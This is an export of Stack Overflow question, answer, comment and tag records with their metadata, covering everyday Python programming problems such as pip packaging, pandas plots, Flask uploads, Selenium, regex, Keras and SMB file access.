has comment: http://stackoverflow.com/comment/86200217
has title: pip install success but ModuleNotFoundError
score: 1
upvote count: 1
has body: My directory structure is: package/ __init__.py setup.py setup.py is: from setuptools import setup, find_packages setup( name="package", version="0.0.1", packages=find_packages(), ) When I run pip install ./package, the install successes: Processing ./package Installing collected packages: package Running setup.py install for package ... done Successfully installed package-0.0.1 However, I can't import it: In [1]: import package --------------------------------------------------------------------------- ModuleNotFoundError Traceback (most recent call last) &lt;ipython-input-1-f73d57b147d4&gt; in &lt;module&gt;() ----&gt; 1 import package ModuleNotFoundError: No module named 'package' How to create a package and import it?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49596523
accepted answer: http://stackoverflow.com/a/49596523

macos
tags question: http://stackoverflow.com/q/49570371
tags question: http://stackoverflow.com/q/49522502
tags question: http://stackoverflow.com/q/49596805
tags question: http://stackoverflow.com/q/49597379
tags question: http://stackoverflow.com/q/49495211
tags question: http://stackoverflow.com/q/49516060
tags question: http://stackoverflow.com/q/49445312
type: Tag
tags question: http://stackoverflow.com/q/49443431
tags question: http://stackoverflow.com/q/49537522
tags question: http://stackoverflow.com/q/49461345
tags question: http://stackoverflow.com/q/49450201
tag name: macos
tags question: http://stackoverflow.com/q/49458836
tags question: http://stackoverflow.com/q/49457484
tags question: http://stackoverflow.com/q/49590152
tags question: http://stackoverflow.com/q/49489871
tags question: http://stackoverflow.com/q/49529198
tags question: http://stackoverflow.com/q/49543366
tags question: http://stackoverflow.com/q/49585442
tags question: http://stackoverflow.com/q/49459281
tags question: http://stackoverflow.com/q/49444204

http://stackoverflow.com/q/49525479
tagged with: matplotlib
tagged with: python
has answer: http://stackoverflow.com/a/49526401
possible better answer: http://stackoverflow.com/a/49526401
type: AnsweredQuestion
has body: I have the following code: df = input_df_.loc[input_df_.index.isin(inds)] df = df.drop(expected_metrics+metrics+['AgeNBR'],axis=1).mean()\ .sort_values(ascending=False)[:25] df.plot(kind='bar',width=.4,position=1,color='red') full_df = input_df_[df.index].mean() full_df.plot(kind='bar',width=.4,position=0,color='blue') plt.show() difference = full_df - df difference.plot(kind='bar',color = ['r' if x &gt; 0 else 'b' for x in difference.values]) plt.show() the code works, but the two images end up super far away since some of the x-ticks are very long. Is there a way to limit the size of the text in individual x-ticks? Something like the first 7 characters?
score: 3
has answer: http://stackoverflow.com/a/49526168
has comment: http://stackoverflow.com/comment/86066261
answer count: 3
tagged with: pandas
upvote count: 3
downvote count: 0
tagged with: formatting
has answer: http://stackoverflow.com/a/49580709
accepted answer: http://stackoverflow.com/a/49580709
has title: Limit characters in xticks pandas bar chart
favorite count: 0
type: Question

http://stackoverflow.com/comment/85955195
comment on: http://stackoverflow.com/q/49475312
has text: Like I said, my actual code is really complicated one. It has to dynamically generate dates based on user input. But TimeField remains the same. I just wanted to know if this is possible with django.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/49440434
type: Answer
downvote count: 0
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49440379
has body: Vectorise your calculation. Here is one way: df['Date'] = pd.to_datetime(df['Date']) df['ICO_to'] = pd.to_datetime(df['ICO_to']) df = df.loc[~(df['Date'] &lt; (df['ICO_to']-pd.Timedelta(5, unit='d'))), :] Explanation The condition ~(df['Date'] &lt; (df['ICO_to']-pd.Timedelta(5, unit='d'))) produces a Boolean array. ~ signifies negative. All True components of the array signify rows that are kept; likewise False are removed. The documentation is an ideal place to learn about vectorising your calculations.
accepted answer of: http://stackoverflow.com/q/49440379
score: 1
has comment: http://stackoverflow.com/comment/85883154

http://stackoverflow.com/a/64510723
answers question: http://stackoverflow.com/q/49588237
score: 3
has comment: http://stackoverflow.com/comment/138142401
type: Answer
has body: Specifying a Known Mobile Device To enable Mobile Emulation with a specific device name, the “mobileEmulation” dictionary must contain a “deviceName.” Use a valid device name from the DevTools Emulation panel as the value for “deviceName.” from selenium import webdriver mobile_emulation = { "deviceName": "Nexus 5" } chrome_options = webdriver.ChromeOptions() chrome_options.add_experimental_option("mobileEmulation", mobile_emulation) driver = webdriver.Remote(command_executor='http://127.0.0.1:4444/wd/hub',desired_capabilities = chrome_options.to_capabilities()) Specifying Individual Device Attributes It is also possible to enable Mobile Emulation by specifying individual attributes. To enable Mobile Emulation this way, the “mobileEmulation” dictionary can contain a “deviceMetrics” dictionary and a “userAgent” string. The following device metrics must be specified in the “deviceMetrics” dictionary: “width” - the width in pixels of the device’s screen “height” - the height in pixels of the device’s screen “pixelRatio” - the device’s pixel ratio "touch" - whether to emulate touch events (defaults to true, usually does not need to be set) from selenium import webdriver from selenium.webdriver.chrome.options import Options mobile_emulation = { "deviceMetrics": { "width": 360, "height": 640, "pixelRatio": 3.0 }, "userAgent": "Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 5 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19" } chrome_options = Options() chrome_options.add_experimental_option("mobileEmulation", mobile_emulation) driver = webdriver.Chrome(chrome_options = chrome_options)
upvote count: 3
downvote count: 0

http://stackoverflow.com/q/49491637
favorite count: 0
has title: Flask-Uploads : how to use with application factory
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49492010
accepted answer: http://stackoverflow.com/a/49492010
tagged with: python
type: Question
upvote count: 2
has body: I am trying to implement Flask-Uploads in my project. However, I am having trouble because I am using an application factory function and cannot access the UploadSets from other files in the app! FILE: app/__init__.py from flask_uploads import UploadSet, configure_uploads, IMAGES def create_app(object_name): ... images = UploadSet('images', IMAGES) configure_uploads(app, images) FILE: app/controllers/editions.py from flask_uploads import UploadNotAllowed # this is one of my route files, registered in a blueprint editions = Blueprint('editions', __name__) ... # inside one of the routes poster = request.files.get('poster') try: filename = images.save(poster) except UploadNotAllowed: flash('The upload was not allowed.', category='warning') else: # add to db... Of course this won't work because images is not defined. But how to I import it from the app? I tried: import app app.images.save(...) from flask import current_app current_app.images.save(...) from app import images None works. Any ideas??? PS: everything else in my app is working fine except this.
downvote count: 0
answer count: 1
tagged with: flask
tagged with: flask-uploads

http://stackoverflow.com/a/49476319
has body: As suggested in the comment by @SruthiV, you can use re.findall from re module, import re pattern = re.compile(r"Hello") total = 0 with open('text.txt', 'r') as fin: for line in fin: total += len(re.findall(pattern, line)) print total re.compile creates a pattern for regex to use, here "Hello". Using re.compile improves programs performance and is (by some) recommended for repeated usage of the same pattern. More here. Remaining part of the program opens the file, reads it line by line, and looks for occurrences of the pattern in every line using re.findall. Since re.findall returns a list of matches, total is updated with the length of that list, i.e. number of matches in a given line. Note: this program will count all occurrences of Hello- as separate words or as part of other words. Also, it is case sensitive so hello will not be counted.
answers question: http://stackoverflow.com/q/49475391
type: AcceptedAnswer
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/49475391

http://stackoverflow.com/q/49500521
has comment: http://stackoverflow.com/comment/86007461
has comment: http://stackoverflow.com/comment/86006414
has comment: http://stackoverflow.com/comment/86007524
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/86005669
has comment: http://stackoverflow.com/comment/86005586
type: Question
tagged with: multiprocessing
has comment: http://stackoverflow.com/comment/86005264
type: UnansweredQuestion
has title: Sharing a path string between modules in python
tagged with: multithreading
tagged with: python
has comment: http://stackoverflow.com/comment/86007583
has body: I am trying to make a gui that displays a path to a file, and the user can change it anytime. I have my defaults which are in my first script.The following is a simplified version without any of the gui stuff. But then the user pushes a button and it runs a different script (script2). In this script, the information on the file is read. script1: import os import multiprocessing as mp import script2 specsfile = mp.Array('c',1000, lock=True) path_save = mp.Array('c',1000, lock=True) p = mp.Process(target=script2, args=(specsfile,path_save)) p.start() specsfile = '//_an_excel_sheet_directory.xlsx' path_save = '//path/to/my/directory/' subprocess.call([sys.executable, 'script2.py']) script2: import multiprocessing as mp from script1 import specsfile from script1 import path_save print(specsfile) spec= pd.read_excel(specsfile) When I run it, it gives me this error: PermissionError: [WinError 5] Access is denied I'm not sure if I'm initializing this wrong or not. I've never used multiprocessing but I was reading about some recommendations for that when sharing data. so basically I want to initialize a specsfile string and a path_save string but when it changes,I want it to be reflected and sent to specs2 file.

http://stackoverflow.com/a/49533864
score: 0
answers question: http://stackoverflow.com/q/49526586
has body: I always prefer to use ‘with open()’ because it closes the file automatically. I used a txt with comma separations for simplicity for me, but you can just replace the comma with \t. def TopStudents(): with open('temp.txt', 'r') as original: contents = list(filter(None, (line.strip().strip('\n') for line in original))) x = list(part.split(',') for part in contents) for y in x: if int(y[1]) &gt; 100: print(y[0], y[1]) TopStudents() This opens and loads all lines into contents as a list, removing blank lines and line breaks. Then it separates into a list of lists. You then iterate through each list in x, looking for the second value (y[1]) which is your grade. If the int() is greater than 100, print each segment of y.
type: Answer

http://stackoverflow.com/q/49536929
downvote count: 5
has answer: http://stackoverflow.com/a/49537279
has comment: http://stackoverflow.com/comment/86080863
answer count: 1
has comment: http://stackoverflow.com/comment/86080982
has comment: http://stackoverflow.com/comment/86080586
tagged with: quotes
has comment: http://stackoverflow.com/comment/86080832
type: Question
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/86080810
has comment: http://stackoverflow.com/comment/86080662
favorite count: 0
has body: I would like to extract some strings from between quotes using regular expression. The text is shown below: CCKeyUpDomReady('test.asmx/asdasd', 'QMlPJZTOH09XOPCcbB2jcg==', '0OO6h+G2Tzhr5XWj1Upg0A==', '0OO6h+G2Tzhr5XWj1Upg0A==', '/qqwweq2.asmx/qqq') Expected result must be: test.asmx/asdasd /qqwweq2.asmx/qqq How can I do it? Here is the platform for testing: https://regexr.com/3n142 The criteria: string which is between quotes must contains "asmx" word. The text is much more than showed above. You can think like that you are searching asmx urls in a website source code.
has comment: http://stackoverflow.com/comment/86080823
has title: How to extract groups contains desired string from between quotes using regex?
linked to: http://stackoverflow.com/q/249791
has comment: http://stackoverflow.com/comment/86081047
type: AnsweredQuestion
upvote count: 0
score: -5
accepted answer: http://stackoverflow.com/a/49537279
has comment: http://stackoverflow.com/comment/86081258

http://stackoverflow.com/a/49590986
has body: I think I solved my own question. I changed my modified codec to replace the definitions of decoding_table and encoding_table with a settables() function. So it now looks like: def settables(lookup_table): global decoding_table global encoding_table decoding_table = lookup_table encoding_table = codecs.charmap_build(decoding_table) This way, the codec starts without either encoding or decoding tables. In my main module, I imported the custom codec and called custcodec.settables(lookup_table), where lookup_table is a string. This seems to work, as the decoded text files it produces are identical to those produced by my original codec where the lookup table was predefined in the file itself. From here it should be no problem to read the characters for the lookup table from a text file.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49579017

python-beautifultable
tags question: http://stackoverflow.com/q/49454626
type: Tag
tag name: python-beautifultable

http://stackoverflow.com/a/49531838
has comment: http://stackoverflow.com/comment/86071705
has comment: http://stackoverflow.com/comment/86070378
answers question: http://stackoverflow.com/q/49531470
score: -1
has comment: http://stackoverflow.com/comment/86070332
has body: In your meta description of the ToolResult class: class Meta: unique_together = ('content_type', 'object_id', 'tool') the unique together line says every tool should be unique within ToolResults. if you remove this unique_together constraint you will be able to save same objects. I hope that this helps.
upvote count: 0
downvote count: 1
type: Answer

http://stackoverflow.com/q/49563585
score: 1
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: selenium
has comment: http://stackoverflow.com/comment/86136493
has title: Locate a web element via sibling in Selenium where the sibling is determined by program
favorite count: 0
has comment: http://stackoverflow.com/comment/86136386
type: Question
has comment: http://stackoverflow.com/comment/86136277
has comment: http://stackoverflow.com/comment/86136781
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49565303
tagged with: firefox
downvote count: 0
upvote count: 1
tagged with: python
has body: I need to locate a report link. But the information of the link itself is too general to characterize but its next sibling is a span element whose text can identify the span element. So I decided to first find the span element, then use the span element by the way of preceding-siblings of xpath to find the link element. I wonder if there is a better way to do it? Here is the screenshot showing one of such pair of elements: Here are the HTML segments showing their definitions and relationship: &lt;td style="font-size: 12px;" width="70%"&gt; &lt;a href="/reports/4981/"&gt;&lt;span&gt;&lt;b style="color: #3366FF; text-decoration: underline;"&gt;Cases Report&lt;/b&gt;&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #888;"&gt;requested on Tue, Mar 20, 2018 at 9:14 p.m. &amp;nbsp;—&amp;nbsp; CSV &amp;nbsp;—&amp;nbsp; &lt;b&gt;&lt;i&gt;Ready to download&lt;/i&gt;&lt;/b&gt;&lt;/span&gt; &lt;/td&gt; Here is my attempted implementation (not fully working yet): span_xpath = '//span[contains(., "Ready to download")]' # . stands for text in the current node regardless of in bold or not relative_report_link_xpath = '//preceding-sibling::a[contains(@href, "/reports/")]' span_list = driver.find_elements_by_xpath(span_xpath) # There might be multiple such links and spans # I will have logic to select the desired one # based on the timestamp in the span. # For brevity, I just hard code the selection for now: found_span = span_list[0] # will be logic involving timestamp found_span.click() # make the span as the current node driver.find_element_by_xpath(relative_report_link_xpath).click() For example, I really don't want to click on the span element except for the purpose of making the span as the current node so that I can navigate by preceding-siblings. I wish to know a less "intrusive" implementation of making a web element as the current node without clicking on it. (Clicking on a span element, in this case, maybe OK but if it's part of another link, then the behavior would not be wh…

http://stackoverflow.com/q/49591819
tagged with: python
tagged with: keras
tagged with: lstm
score: 0
answer count: 1
tagged with: recurrent-neural-network
has answer: http://stackoverflow.com/a/49594147
has title: How to get my class prediction LSTM Keras
tagged with: tensorflow
type: Question
has body: I recently trying to build a program, that classify Quora (question pair) dataset, whether it's duplicate or not. I got the accuracy and loss based on real y, but IDK how to proceed the output (predicted y) can anyone help me? the output shud be 1 or 0 (binary class) This is the sentence merger code, training process use LSTM merged = RNN(EMBED_HIDDEN_SIZE)(merged) merged = layers.Dropout(dropoutp)(merged) preds = layers.Dense(answer_size, activation='sigmoid')(merged) model = Model([questiona, questionb], preds) rmsprop = keras.optimizers.rmsprop(lr=lrn) model.summary()
type: UnansweredQuestion

http://stackoverflow.com/q/49563228
has comment: http://stackoverflow.com/comment/86135029
tagged with: python
score: -1
accepted answer: http://stackoverflow.com/a/49563367
has answer: http://stackoverflow.com/a/49563367
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/3431676
tagged with: tkinter
has body: I'm having a problem where I create a for loop of buttons and I want each one of other to have different column, row and text. I noticed only the text and the column (because i used lambda on it) are actually the updated values given to the function. (btw the row and column are for something else, not the button - in a different function). This is my code, I can't seem to understand how to get the most updated value for a button since all of my buttons are getting the values of the first button except for the text name and their column for order in self.orders: if counter2 &gt;= 2 and counter2 % 2 == 0: x += 1 print x, counter2 bt = Button(window, command=lambda i=counter2: self.display_order(self.orders[order], window, x, i)) bt.configure(text='order ' + str(counter2+1), fg='black', bg='steel blue', width=20) bt.grid(sticky='W', row=0, column=counter2, columnspan=1) # increase row number for every button counter2 += 1
upvote count: 0
linked to: http://stackoverflow.com/q/39447138
answer count: 1
duplicate of: http://stackoverflow.com/q/3431676
downvote count: 1
has comment: http://stackoverflow.com/comment/86135235
has comment: http://stackoverflow.com/comment/86135094
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/39447138
has title: Tkinter button not getting updated value

http://stackoverflow.com/comment/86043519
has text: @root --- what versions are you running? pandas. matplotlib... jupyter??
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49518229
type: QuestionComment

http://stackoverflow.com/a/49579390
upvote count: 1
has body: I don't have enough reputation to add a comment, but I'm adding an answer as a workaround. Please take a look at the Math library from Python. Please let me know if something like this might help: log(x)/log(base) math.log(x[, base]) With one argument, return the natural logarithm of x (to base e). With two arguments, return the logarithm of x to the given base, calculated as log(x)/log(base). Source: https://docs.python.org/3.6/library/math.html
type: Answer
answers question: http://stackoverflow.com/q/49579321
score: 1
downvote count: 0

http://stackoverflow.com/comment/86063450
score: 1
type: QuestionComment
has text: You'll need to give us a more concrete example than this. How do you know which start and end date to consider? In your example, the start and end dates for ID1 and ID8 are the same in all rows? Can there be a scenario where that won't be the case? What will be the output in that case?
type: Comment
comment on: http://stackoverflow.com/q/49523419

http://stackoverflow.com/comment/85904618
has text: +1 for actually trying to explain your answer (and admitting it's ugly) although I suspect @user9538877 will still struggle to understand, it's not clear to me they know they have strings but they seem to want to compare/output integers
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/49451003

http://stackoverflow.com/q/49496403
has comment: http://stackoverflow.com/comment/85996842
has comment: http://stackoverflow.com/comment/85997156
tagged with: numpy
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/85997202
tagged with: neural-network
tagged with: machine-learning
upvote count: 1
has comment: http://stackoverflow.com/comment/85997084
has comment: http://stackoverflow.com/comment/85996816
has comment: http://stackoverflow.com/comment/85996694
downvote count: 1
favorite count: 0
type: Question
has title: What's wrong with this gradient descent?
has comment: http://stackoverflow.com/comment/85997393
has comment: http://stackoverflow.com/comment/85997242
type: UnansweredQuestion
has body: I want to minimize ||Ah(Wx)-y|| by gradient descent where h us ReLU s = 9 n = 99 m = 999 A = np.random.normal((n,m)) y = np.random.normal((m,1)) W = np.random.normal((n,s)) def obj_fcn(x): return np.linalg.norm(A.dot(np.max(W.dot(x),0))-y) if __name__ == '__main__': dx = 10 max_iter = 99 i = 0 x = np.zeros((s,1)) ddx = 0.00001 ddx2 = ddx*2 while i&lt;max_iter: d_obj = (obj_fcn(x+ddx)-obj_fcn(x-ddx))/ddx2 x = x + d_obj print(x) i = i+1 This gives error /Library/Frameworks/Python.framework/Versions/3.6/bin/python3.6 /Users/Chu/Documents/fun/m608.py Traceback (most recent call last): File "/Users/Chu/Documents/fun/m608.py", line 21, in &lt;module&gt; d_obj = (obj_fcn(x+ddx)-obj_fcn(x-ddx))/ddx2 File "/Users/Chu/Documents/fun/m608.py", line 11, in obj_fcn return np.linalg.norm(A.dot(np.max(W.dot(x),0))-y) ValueError: shapes (2,) and (9,1) not aligned: 2 (dim 0) != 9 (dim 0) What's wrong? Is there an book I can read about such issues in Python? I almost always have this kind of trouble.
has comment: http://stackoverflow.com/comment/85997088
has answer: http://stackoverflow.com/a/49496727
tagged with: python

http://stackoverflow.com/comment/85957585
type: AnswerComment
comment on: http://stackoverflow.com/a/49477426
score: 1
type: Comment
has text: Check modified solution - need `df = df.sort_index(axis=1)`

http://stackoverflow.com/a/49573055
has comment: http://stackoverflow.com/comment/88580696
has comment: http://stackoverflow.com/comment/137413049
answers question: http://stackoverflow.com/q/49572658
has comment: http://stackoverflow.com/comment/131530236
downvote count: 0
has comment: http://stackoverflow.com/comment/138263800
has comment: http://stackoverflow.com/comment/86153583
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86153731
accepted answer of: http://stackoverflow.com/q/49572658
has body: Edit 3 As with the release 2019.4.0 of the python extension it is now possible to set the console option to internalConsole (#4321). In .vscode/launch.json: "console": "internalConsole" Edit 2 As suggested in omartin2010's answer you can additionally set the option "internalConsoleOptions": "openOnSessionStart" to automatically open the debug console when starting debugging. Edit 1 Setting the "console" option explicitly to "none" was originally the way to go (see answers), but now "none" is no longer valid (see Edit 3 above) "console": "none" Original answer To ensure that the output is written to the debug console you can set the debugOptions. Adding the following entry to your configuration in yourlaunch.json should fix it: "debugOptions": [ "RedirectOutput" ]
type: Answer
upvote count: 67
score: 67

http://stackoverflow.com/a/49481826
answers question: http://stackoverflow.com/q/49481743
upvote count: 3
downvote count: 0
score: 3
has body: Looking at the type of input is certainly an option: class Game(object): def __init__(self, str_or_board): if isinstance(str_or_board, Board): board = str_or_board else: board = self.parse_game_string(str_or_board) self.board = board Instead of isinstance, duck typing is also an option. Alternatively, you can use a factory function: class Game(object): def __init__(self, board): assert isinstance(board, Board) self.board = board @classmethod def fromstring(cls, board_str): return cls(self.parse_game_string(board_str)) # Use like ... game1 = Game(Board()) game2 = Game.fromstring('foobar')
type: Answer

http://stackoverflow.com/q/49537866
tagged with: python
has answer: http://stackoverflow.com/a/49537889
has comment: http://stackoverflow.com/comment/86084320
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49537889
answer count: 1
type: Question
has title: How can I access column in model?
has body: How can I access income in NewUser model? I wanna filter Car model's data by user's income data.My ideal system is car name is shown in car.html if NewUser's income = Car income. I wrote in models.py class NewUser(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE) income = models.CharField(max_length=20, null=True, default=None) class Car(models.Model): name = models.CharField(max_length=100, null=True, default=None) income = models.CharField(max_length=20, null=True, default=None) in views.py from app.models import Car from django.shortcuts import render def car(request): car_data = Car.objects.all().filter(income=request.user.income) return render(request, 'car.html', {'car_data': car_data}) When I access car method,AttributeError at /app/car/ 'User' object has no attribute 'income' error happens.I really cannot understand why such a error happens.I inherit User model in NewUser,so I think I can access income in request.user.How should I fix this?What is wrong in my codes?
tagged with: django

http://stackoverflow.com/comment/86178906
type: Comment
score: 0
has text: Two things. The stay state solution should be parabolic, so using a higher order difference term should make no significant change to the representativ of the error, and the error and convergence, as you define it, is probably much more effected by the truncation of the time integration scheme
type: QuestionComment
comment on: http://stackoverflow.com/q/49583640

http://stackoverflow.com/comment/86180570
comment on: http://stackoverflow.com/q/49562165
score: 0
type: Comment
type: QuestionComment
has text: @user1581390 you can only have U'U=I and UU'=I if U is square

http://stackoverflow.com/a/49500996
answers question: http://stackoverflow.com/q/49486525
has body: You should set header Content-Type: multipart/form-data for your request and encode your payload in appropriate form (take a look at https://developer.mozilla.org/en-US/docs/Web/API/FormData). let input = new FormData(); input.append('image', home.image); let _url:string = 'http://127.0.0.1:8000/Home/Homemodel/'; this.http.post(_url, input).subscribe(( res:Response) =&gt;{ console.log(res); }) Note: home.image should be File object
score: 0
type: Answer

http://stackoverflow.com/q/49451000
has body: I would like to have an easyGUI multchoicebox display output based on the correct choices being made. The following doesn't work (i.e it doesn't show 'correct') import easygui fieldnames = ["Incorrect", "Correct", "Also Correct"] choice = easygui.multchoicebox("Pick an option.", "", fieldnames) if choice == fieldnames[1] and fieldnames[2]: easygui.msgbox('Correct!') else: easygui.msgbox('Incorrect') #Also tried: #if choice == "Correct" and "Also Correct":
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/49451151
has title: Python EasyGUI multchoicebox - Quiz IF statement on multiple items not working
has answer: http://stackoverflow.com/a/49451222
has answer: http://stackoverflow.com/a/49451151
type: Question
answer count: 2
tagged with: easygui
accepted answer: http://stackoverflow.com/a/49451222
tagged with: python

http://stackoverflow.com/a/49540490
answers question: http://stackoverflow.com/q/49540190
has comment: http://stackoverflow.com/comment/86088406
has body: this should do the trick : /plist/dict/array/dict[1]/array/dict/array/dict[1]/dict[1]/integer[2] If you need to get the node value, add /text() at the end of the expression. Regards,
type: Answer
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86090411

http://stackoverflow.com/q/49493699
has answer: http://stackoverflow.com/a/49506514
accepted answer: http://stackoverflow.com/a/49506514
has answer: http://stackoverflow.com/a/65000898
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85992044
tagged with: smb
score: 18
upvote count: 18
has title: access remote files on server with smb protocol python3
tagged with: python
has comment: http://stackoverflow.com/comment/85991896
type: AnsweredQuestion
answer count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/65000898
has body: I have a remote server with some files. smb://ftpsrv/public/ I can be authorized there as an anonymous user. In java I could simply write this code: SmbFile root = new SmbFile(SMB_ROOT); And get the ability to work with files inside (it is all I need, one row!), but I can't find how to manage with this task in Python 3, there are a lot of resources, but I think they are not relevant to my problem, because they are frequently tailored for Python 2, and old other approaches. Is there some simple way, similar to Java code above? Or can somebody provide a real working solution if, for example, I want to access file fgg.txt in smb://ftpsrv/public/ folder. Is there really a handy lib to tackle this problem? For example on site: import tempfile from smb.SMBConnection import SMBConnection # There will be some mechanism to capture userID, password, client_machine_name, server_name and server_ip # client_machine_name can be an arbitary ASCII string # server_name should match the remote machine name, or else the connection will be rejected conn = SMBConnection(userID, password, client_machine_name, server_name, use_ntlm_v2 = True) assert conn.connect(server_ip, 139) file_obj = tempfile.NamedTemporaryFile() file_attributes, filesize = conn.retrieveFile('smbtest', '/rfc1001.txt', file_obj) # Retrieved file contents are inside file_obj # Do what you need with the file_obj and then close it # Note that the file obj is positioned at the end-of-file, # so you might need to perform a file_obj.seek() if you need # to read from the beginning file_obj.close() Do I seriously need to provide all of these details: conn = SMBConnection(userID, password, client_machine_name, server_name, use_ntlm_v2 = True)?

http://stackoverflow.com/comment/86083696
score: 0
type: Comment
has text: please answer , help me
comment on: http://stackoverflow.com/q/49531291
type: QuestionComment

http://stackoverflow.com/q/49464636
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85933796
upvote count: 9
score: 9
has comment: http://stackoverflow.com/comment/89124933
downvote count: 0
type: UnansweredQuestion
answer count: 1
has title: Changing activation function of a keras layer w/o replacing whole layer
tagged with: machine-learning
tagged with: keras
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/85933547
has comment: http://stackoverflow.com/comment/85933520
has body: I am trying to change the activation function of the last layer of a keras model without replacing the whole layer. In this case, only the softmax function import keras.backend as K from keras.models import load_model from keras.preprocessing.image import load_img, img_to_array import numpy as np model = load_model(model_path) # Load any model img = load_img(img_path, target_size=(224, 224)) img = img_to_array(img) print(model.predict(img)) My output: array(1.53172877e-07, 7.13159451e-08, 6.18941920e-09, 8.52070968e-07, 1.25813088e-07, 9.98970985e-01, 1.48254022e-08, 6.09538893e-06, 1.16236095e-07, 3.91888688e-10, 6.29304608e-08, 1.79565995e-09, 1.75571788e-08, 1.02110009e-03, 2.14380114e-09, 9.54465733e-08, 1.05938483e-07, 2.20544337e-07, dtype=float32) Then I do this to change the activation: model.layers[-1].activation = custom_softmax print(model.predict(test_img)) and the output I got is exactly the same. Any ideas how to fix? Thanks! You could try to use the custom_softmax below: def custom_softmax(x, axis=-1): """Softmax activation function. # Arguments x : Tensor. axis: Integer, axis along which the softmax normalization is applied. # Returns Tensor, output of softmax transformation. # Raises ValueError: In case `dim(x) == 1`. """ ndim = K.ndim(x) if ndim &gt;= 2: return K.zeros_like(x) else: raise ValueError('Cannot apply softmax to a tensor that is 1D')
has comment: http://stackoverflow.com/comment/85932630
has answer: http://stackoverflow.com/a/55769374
tagged with: python

http://stackoverflow.com/a/49518858
has body: You may have to flip the input to .cell(), I guess it is .cell(column, row). Or just use the keywords .cell(column=z, row=o) You need a dynamic index for both of the row iterators, while keeping the column indices where you found them: for o in range(2, 469): #note the common o for both, could also be o+1 for one if there is an offset ws2.cell(o, z).value = ws1.cell(o, y).value
upvote count: 1
has comment: http://stackoverflow.com/comment/86064683
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86076234
answers question: http://stackoverflow.com/q/49518071
score: 1
has comment: http://stackoverflow.com/comment/86079900
type: Answer
has comment: http://stackoverflow.com/comment/86080211
accepted answer of: http://stackoverflow.com/q/49518071
has comment: http://stackoverflow.com/comment/86075287
has comment: http://stackoverflow.com/comment/86080260

http://stackoverflow.com/comment/86171052
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49581417
has text: Have you put in print statements to check whether you're getting into your code at all? In my IDE, this merely defines two routines and quits: I need a final command `main()` at the bottom to make it run.

http://stackoverflow.com/comment/86190079
score: 0
type: Comment
type: AnswerComment
has text: Thanks for the clarification, I have understood it now, so what will be the best practice to do it, pls suggest me, as for now I am running the script provided by you and I found its faster now while comparing to my script which I was running earlier.
comment on: http://stackoverflow.com/a/49590694

http://stackoverflow.com/comment/85887806
type: Comment
type: QuestionComment
has text: i is string datatype, error shows clearly
comment on: http://stackoverflow.com/q/49443061
score: 0

http://stackoverflow.com/q/49537354
type: Question
upvote count: 2
tagged with: xml-parsing
downvote count: 0
type: UnansweredQuestion
has body: I want to modify all the attribute values of Uri in edmx:Reference of XML file. My file(Chassis.xml) contents are &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;edmx:Edmx xmlns:edmx="http://docs.oasis-open.org/odata/ns/edmx" Version="4.0"&gt; &lt;edmx:Reference Uri="http://docs.oasis-open.org/odata/odata/v4.0/errata03/csd01/complete/vocabularies/Org.OData.Measures.V1.xml"&gt; &lt;edmx:Include Namespace="Org.OData.Measures.V1" Alias="Measures"/&gt; &lt;/edmx:Reference&gt; &lt;edmx:Reference Uri="http://redfish.dmtf.org/schemas/v1/RedfishExtensions_v1.xml"&gt; &lt;edmx:Include Namespace="RedfishExtensions.v1_0_0" Alias="Redfish"/&gt; &lt;edmx:Include Namespace="Validation.v1_0_0" Alias="Validation"/&gt; &lt;/edmx:Reference&gt; &lt;edmx:Reference Uri="http://redfish.dmtf.org/schemas/v1/Resource_v1.xml"&gt; &lt;edmx:Include Namespace="Resource"/&gt; &lt;edmx:Include Namespace="Resource.v1_0_0"/&gt; &lt;edmx:Include Namespace="Resource.v1_1_0"/&gt; &lt;/edmx:Reference&gt; &lt;edmx:Reference Uri="http://redfish.dmtf.org/schemas/v1/Thermal_v1.xml"&gt; &lt;edmx:Include Namespace="Thermal"/&gt; &lt;/edmx:Reference&gt; &lt;/edmx:Edmx&gt; I am able to read all the values of Uri but cannot update the values dynamically to same file.The code used for getting the value of Uri is import xml.etree.ElementTree as ET tree = ET.parse('Chassis.xml') root = tree.getroot() for item in root.findall('{http://docs.oasis-open.org/odata/ns/edmx}Reference'): if 'Uri' in item.attrib: item.attrib['Uri']="new-uri" ET.write("Chassis.xml") My question how to read and modify attribute values of Uri dynamically to same file?
answer count: 1
has title: Modify value of specific attributes in XML file dynamically
tagged with: python
score: 2
has comment: http://stackoverflow.com/comment/86085023
has answer: http://stackoverflow.com/a/49549180
has comment: http://stackoverflow.com/comment/86085257
tagged with: elementtree
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0

http://stackoverflow.com/q/49454041
